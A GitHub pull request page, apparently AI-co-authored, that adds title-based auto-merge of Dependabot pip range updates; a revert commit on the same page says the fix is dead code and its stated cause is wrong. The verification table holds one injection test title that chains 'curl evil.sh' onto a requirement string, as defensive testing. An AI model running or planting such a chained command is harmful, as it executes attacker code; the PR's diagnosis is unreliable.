ci: auto-merge Dependabot pip range updates (minor/patch)#61
Merged
Conversation
Dependabot does not classify pip *range* updates (`pyotp>=2.9` -> `pyotp>=2.10.0`): fetch-metadata returns an empty `update-type`, `previous-version` and `new-version` (see the job log on PR #54). The auto-merge condition therefore never fired and every requirements.txt PR stayed open indefinitely -- 5 of them piled up between 2026-06-14 and 2026-07-25. Add a fallback step that derives the bump from the PR title and fails closed: anything that is not exactly `from >=X to >=Y` with the same major is left open for manual review, so major bumps (gunicorn 21 -> 26) keep their current behaviour. The title is passed through env instead of being interpolated into the script -- this is a `pull_request_target` workflow with write permissions. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
iscarelli
added a commit
that referenced
this pull request
Jul 25, 2026
This reverts commit 0f823dd. The fallback is dead code and its comment is now false. The empty `update-type` on pip range updates was a `fetch-metadata@v2` limitation, not a Dependabot one: with `@v3` (merged in #50) the same PR reports `update-type: version-update:semver-minor`, `previous-version: 3.0`, `new-version: 3.1.3` -- and #55 auto-merged on its own before #61 ever landed (job 30158546609). Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Dependabot does not classify pip range updates (
pyotp>=2.9→pyotp>=2.10.0).dependabot/fetch-metadatareturns an emptyupdate-type,previous-versionandnew-version— confirmed in the job log of #54:So the auto-merge condition never fired and every
requirements.txtPR stayed open forever: 5 piled up between 2026-06-14 and 2026-07-25 (#51 #52 #53 #54 #55), all with green CI.Fix
A fallback step that derives the bump from the PR title when
update-typeis empty, and fails closed — anything that is not exactlyfrom >=X to >=Ywith the same major is left open for manual review. Major bumps keep today's behaviour.The title is read from
env, never interpolated into the script: this is apull_request_targetworkflow with write permissions.Verification
The classifier was run against every real title, plus edge cases:
update pyotp requirement from >=2.9 to >=2.10.0update flask requirement from >=3.0 to >=3.1.3update qrcode[pil] requirement from >=8.2 to >=8.3update gunicorn requirement from >=21.0 to >=26.0.0update flask requirement from >=3.0,<4 to >=3.1,<5bump actions/checkout from 6 to 7update-type)update foo requirement from >=1.0 to >=1.1 && curl evil.sh.github/workflows/dependabot-automerge.ymlparses as valid YAML with the three expected steps.No app change — CI only, so no
VERSIONbump.🤖 Generated with Claude Code